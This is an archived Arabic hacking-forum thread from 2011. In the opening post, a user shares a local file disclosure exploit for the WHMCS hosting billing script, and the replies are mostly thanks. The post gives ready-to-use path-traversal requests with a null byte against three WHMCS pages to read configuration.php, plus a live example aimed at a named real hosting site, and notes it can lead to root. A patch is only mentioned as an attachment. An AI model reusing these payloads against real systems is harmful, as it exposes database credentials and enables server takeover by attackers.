:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات (http://www.vbspiders.com/vb/forumdisplay.php?f=38)
-   -   ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع (http://www.vbspiders.com/vb/showthread.php?t=59146)

KaLa$nikoV 10-23-2011 10:34 AM
ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع
 
1 مرفق
السلام عليكم ورحمه الله وبركاته


الثغره بسيطه ومنتشره من زمان بين الشباب ع الايميل


لكن في حد حب ينشرها لمواقع السكيورتي الله يهديه

(رح تترقع هيك الثغره )

خطوره الثغره كبيره لانك ممكن توصل للروت

الاستغلال
كود PHP:

cart.php?a=test&templatefile=../../../configuration.php%00
submitticket.php?step=test&templatefile=../../../configuration.php%00
downloads.php?action=test&templatefile=../../../configuration.php%00 
بتقرا الكونفج بالسورس كود للصفحه

مثال



كود PHP:

https://storm-servers.net/whmcs/cart.php?a=test&templatefile=../../../configuration.php%00 
افتح اللنك وبعد افتح السورس كود بتلقى بينات الكونفج

اتوقع الشرح مفهوم خاصه مع المثال

وترقيع الثغره بالمرفقات
ارفع المرفق بداخل سكربت whmcs

واستبدله بالملف الاصلي

بامان الله ورعايته

Mr.NoD 10-23-2011 11:04 AM
رد: ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع
 
ألف http://www.abnaboslem.com/vb/images/icons/b_flower.gif لــ عيونكـ~

يسلمـ أديكـ’ عبدهـ ~

hacker.ksa 10-23-2011 12:18 PM
رد: ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع
 
مشكووور يالغالي

تيمور الاسطوره 10-23-2011 01:04 PM
رد: ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع
 
ما شاء الله عليك بالتوفيق اخى

mr thunder 10-24-2011 01:24 AM
رد: ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع
 
مشكور

NoTty_rAJ 10-25-2011 12:10 AM
رد: ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع
 
god bless you

aircrack -ng 10-25-2011 01:31 AM
رد: ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع
 
ilove you abdo

mjhool-hkr 07-20-2015 12:19 PM
رد: ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع
 
نننننننننننن

starto 07-25-2015 04:56 PM
رد: ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع
 
mercii hhh


الساعة الآن 05:17 AM


[ vBspiders.Com Network ]